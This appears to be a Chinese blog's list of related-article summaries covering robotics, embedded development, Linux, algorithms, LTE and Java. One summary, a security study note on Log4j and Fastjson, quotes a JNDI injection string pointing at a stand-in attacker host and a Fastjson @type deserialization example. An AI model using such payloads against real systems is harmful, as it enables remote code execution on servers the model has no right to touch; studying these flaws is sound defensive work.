
相关推荐
399美元开源机器人Microduck:从复现到自研的完整指南
开源机器人正成为机器人开发的重要载体,它将AI模型与物理硬件结合,让个人开发者也能以低成本进入具身智能领域。一个完整的开源机器人项目通常包含机械、电子、软件和文档四层结构,理解其设计原理是复现与二次开发的基础。基于ROS 2与仿真工具,开发者可以在虚拟环境中验证运动控制和感知算法,再迁移到真实平台。这类平台广泛应用于机器人导航、SLAM、路径规划和多机器人协同等研究场景。本文以Hugging Face发布的399美元开源机器人Microduck为线索,系统介绍开源机器人项目的评估方法、环境搭建、最小闭环实现
高中物理 参考系
要描述一个物体的运动,首先要选定某个其他物体做参考,观察物体相对于这个“其他物体”的位置是否随时间变化,以及岑样变化。这种用来做参考的物体称为参考系。参考系=参照物+坐标系。
STM32F407驱动OV2640摄像头:从SCCB协议到I2C模拟的保姆级避坑指南
本文详细介绍了STM32F407驱动OV2640摄像头的完整流程,重点解析SCCB协议与I2C的关键差异,并提供GPIO模拟实现方案。通过实战案例和调试技巧,帮助开发者避开常见陷阱,实现稳定的图像采集功能。
读千脑智能笔记13_读后总结与感想兼导读
读后总结与感想兼导读
R语言实战:非正态数据下的Scheirer–Ray–Hare检验全流程解析
本文详细解析了在R语言中执行Scheirer–Ray–Hare检验的全流程。当实验数据不符合正态分布时,该非参数检验是分析两因素设计(包括主效应和交互效应)的有效工具。文章从原理、环境配置、数据导入、核心代码到结果解读与报告撰写,提供了完整的实战指南,并附有常见的避坑建议。
STM32F407 步进电机S形曲线加减速
步进电机
Ubuntu 20.04中文输入法配置全解:IBus与Fcitx深度适配指南
Linux输入法并非普通应用,而是运行在X11/Wayland会话层之上的基础设施服务。其核心依赖语言支持包(如language-pack-zh-hans)提供的UTF-8 locale编码、中文字体渲染及区域设置,同时需匹配输入法框架(IBus或Fcitx)与桌面环境(GNOME)的集成机制。IBus基于D-Bus服务化架构,原生兼容Wayland,适合Ubuntu 20.04默认GNOME桌面;Fcitx 4.x则因Wayland焦点事件支持缺陷,在该系统中必须降级至X11会话方可稳定工作。技术价值在于
Python解析骑行fit文件:从数据缺失到完整记录
本文详细介绍了如何利用Python解析和处理骑行FIT文件,解决数据缺失问题。通过使用fitparse库读取二进制FIT文件,并结合Garmin FitCSVTool进行格式转换,指导读者一步步诊断数据完整性、设计心率修补方案,并最终生成完整的骑行记录文件。该方法为骑行爱好者提供了灵活的数据修复与自定义分析能力。
ROS学习笔记08、机器人导航仿真(slam、map_server、amcl、move_base与导航消息介绍)
马上开学,目前学校很多实验室都是人工智能这块,大部分都是和机器人相关,然后软件这块就是和cv、ros相关,就打算开始学习一下。本章节是虚拟机安装Ubuntu18.04以及安装ROS的环境。学习教程:【Autolabor初级教程】ROS机器人入门,博客中一些知识点是来源于赵老师的笔记在线笔记,本博客主要是做归纳总结,如有侵权请联系删除。视频中的案例都基本敲了遍,这里给出我自己的源代码文件: 所有博客文件目录索引:博客目录索引(持续更新)关键技术有如下五点:SLAM问题可以描述为: 机器人在未知环境中从一个未知
YOLO26改进策略【Neck】| 关键点检测:SDFM 表层细节融合模块,利用通道-空间注意力机制,实现深层与浅层特征融合,抑制噪声干扰
本文记录的是利用SDFM 模块改进 YOLO26 的颈部融合部分,专门用于关键点检测。SDFM模块(Surface Detail Fusion Module,表层细节融合模块) 通过在特征提取网络的浅层引入通道-空间注意力机制,动态生成深层与浅层特征融合权重。该模块可自适应保留不同模态中的独特信息,抑制背景噪声与光照干扰,实现低层细节的精准对齐与互补增强,为后续检测提供高保真度的底层特征表示,从而提升模型在复杂场景下的目标检测鲁棒性与定位准确性。Rethinking the necessity of ima
13、无人机网络安全攻击检测:入侵检测系统综述
本文综述了无人机网络(FANETs)中的网络安全攻击与入侵检测系统(IDS)研究进展。文章介绍了无人机网络的架构设计、路由协议分类及移动模型,重点分析了DoS、DDoS、病毒蠕虫和零日攻击等常见安全威胁,并系统梳理了网络型、主机型、签名型、异常型、混合型等多种IDS的技术原理与应用。通过对比不同攻击类型及其检测机制,提出了综合使用多类IDS、更新签名库、优化路由、加强加密和建立应急响应等安全防护建议。同时展望了人工智能、量子安全和融合安全架构等未来发展趋势,旨在为提升无人机网络的安全性提供全面的技术参考。
Clawdbot实战教程:Qwen3:32B构建教育领域错题归因+知识点推荐AI代理系统
本文介绍了如何在星图GPU平台上自动化部署Clawdbot 整合 qwen3:32b 代理网关与管理平台镜像,构建教育领域错题归因与知识点推荐AI代理系统。该镜像可自动解析学生错题、精准定位知识漏洞,并推送针对性变式题与微课资源,显著提升个性化教学效率。
微信小程序启用蓝牙设备特征值变化时的notify功能
注意:这里的serviceUUID、notifyCharacteristicUUID 我会在后面写入数据时做重点说明。isNotifyBLECharacteristic:false, //是否启用蓝牙设备服务特征 notify。二、启用蓝牙设备特征值变化时的notify功能。下一篇 将继续介绍 微信小程序蓝牙设备写入数据。
OpenClaw深度解析:AI代理如何赋能一人公司与个人效率革命
最近在技术圈和创业圈,一个现象级的讨论正在蔓延:一边是“一人公司”的创业神话被反复提及,另一边是像 OpenClaw 这样的开源 AI 助手工具被捧上神坛,再加上层出不穷的 AI 培训课程,三者共同构成了当下 AI 浪潮中最具争议的“三驾马车”。很多人,尤其是技术背景的开发者,被这股浪潮裹挟,甚至有人裸辞,试图用 OPC(One-Person Company,一人公司)模式,结合 OpenClaw 这类工具,快速实现个人商业闭环。但现实真的如此美好吗? 这篇文章不打算制造焦虑或贩卖梦想,而是想从一个技术实践
[24] cuda 应用之 nppi 实现图像颜色通道变换
[24] cuda 应用之 nppi 实现图像颜色通道变换
SAP B1中文培訓教材_SDK
公司内部培训资料,对开发工具 ,DIAPI, UIAPI,Add-ON有详细解说
MoveIt!配置助手:机器人语义建模与SRDF生成核心指南
SRDF(Semantic Robot Description Format)是MoveIt!实现运动规划的语义中枢,它将URDF定义的物理结构转化为规划器可理解的功能模型。其本质是建立关节链、规划组、碰撞关系与末端执行器之间的逻辑映射,依赖严格的拓扑一致性与命名规范。Setup Assistant作为官方图形化工具,通过实时解析URDF、自动校验运动学链、可视化生成ACM(碰撞免检矩阵)和虚拟关节等能力,显著降低语义建模门槛。它不仅规避手写SRDF常见的link命名错误、fixed joint遗漏、ACM
Outlook Express 6 (OE6) for Win7/Win8/Win10
英文版 Outlook Express6.0, 兼容Win7/Win10/WinXP,解压就可用。
Qt开发入门:从零到跨平台GUI低手
Qt开发入门:从零到跨平台GUI低手
LinePhone3.2.7(android端最新版本) sip客户端
SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/
假人有限元模型
假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用
Jackson 序列化 / 反序列化注解 完整版笔记
Jackson 序列化 / 反序列化注解 完整版笔记
新概念英语第一册 · 词法笔记
以《新概念英语第一册》为范围,梳理 10 类词性中的 8 类:名词的数与所有格、冠词、代词、形容词副词比较级、数词与时间、介词、动词四类与 have 的四种用法、情态动词与不定式,附易错 TOP12 与课次顺序。
闪光灯笔记
主体后常亮补光,相机快门速度两秒,相机固定在三脚架上,让主体保持不动,按下快门之后主体周围晃动灯棒。特点:人物清晰,背景车流灯光拖在人物身后,氛围感强,就是 A7R3 + 神牛外帘同步的目标效果。总时长 = 8÷10=0.8s 👉 A7R3 相机:M 档,快门 1s,f/8,ISO100。上图:前帘同步,车向前行驶,光轨跑到车头前面,看着很怪。例:6 次,4Hz → 6÷4=1.5s → 相机快门设置≥1.5s,推荐 2s。缺点(慢速快门拍运动物体):闪光先把人定住,之后人物继续移动,在传感器上,
排序算法深度笔记(下):非比较类排序的线性突破与工程边界
排序算法时间复杂度额外空间复杂度稳定性是否基于比较选择排序O(N^2)(O(1))不稳定是冒泡排序O(N^2)(O(1))稳定是插入排序O(N^2)(O(1))稳定是归并排序O(N\log N)(O(N))稳定是快速排序O(N\log N)O(log N)不稳定是堆排序O(N\log N)O(1)不稳定是计数排序(O(N + M))O(M))稳定否基数排序O(N)稳定否桶排序平均O(N) / 最坏O(N^2)
【LTE L3 笔记 10】LTE物理信道-PUCCH、PUSCH
课程来源:B站《【2022】华为HCIA-LTE无线工程师认证学习中级视频》笔记为个人整理,含课件截图,仅供学习交流。
邓明 Agent 系统面试-意图识别学习笔记
不要只是做意图识别而不做测评,就好像要评估 RAG 准确性,在接口服务要测试响应时延,超时控制等等,这里也要关注意图识别准确率,如果面试官认为项目指标太高是在吹牛,关键就是回答因为 Agent 解决的是特定领域的意图识别,识别场景单一,另外就是因为用户输入相对简单。意图识别影响 prompt/spec 的加载,意图识别影响上下文组织,意图识别影响工具选择,意图识别影响 prompt 建议,意图识别得到的意图不是让模型随机生成而是候选类别里去做选择。2.意图识别的原因,以及意图识别得到的是什么?
【LTE L3 笔记 05】LTE同步信号
课程来源:B站《【2022】华为HCIA-LTE无线工程师认证学习中级视频》笔记为个人整理,含课件截图,仅供学习交流。
Day36 XD安全学习笔记--JavaE应用&第三方组件&Log4i 日志&Fastson序列化&JNDI 注入
本节课剖析Log4j与Fastjson组件漏洞原理。Log4j通过JNDI注入实现远程代码执行,攻击者构造${jndi:ldap://attacker.com/Exploit}触发Lookup机制,诱导目标向恶意LDAP服务器请求并加载远程类,最终执行命令(如弹出计算器)。需配置trustURLCodebase=true绕过安全限制。Fastjson则利用@type反序列化特性,当用户输入可控的{"@type":"com.xiaodi.Run"}时,自动加载并实例化恶
Java 多态 学习笔记
多态是面向对象编程的重要特性,指同一操作作用于不同对象时产生不同行为。其核心在于“父类引用指向子类对象”,结合方法重写实现运行时动态绑定。多态使代码更灵活、可扩展,如用Person p = new Student();统一处理各类人员注册,无需修改调用逻辑。但多态无法直接调用子类特有方法,需通过instanceof判断并强制转换。编译时看左边(类型),运行时看右边(实际对象),实现解耦与维护便利。
460



被折叠的 条评论
为什么被折叠?



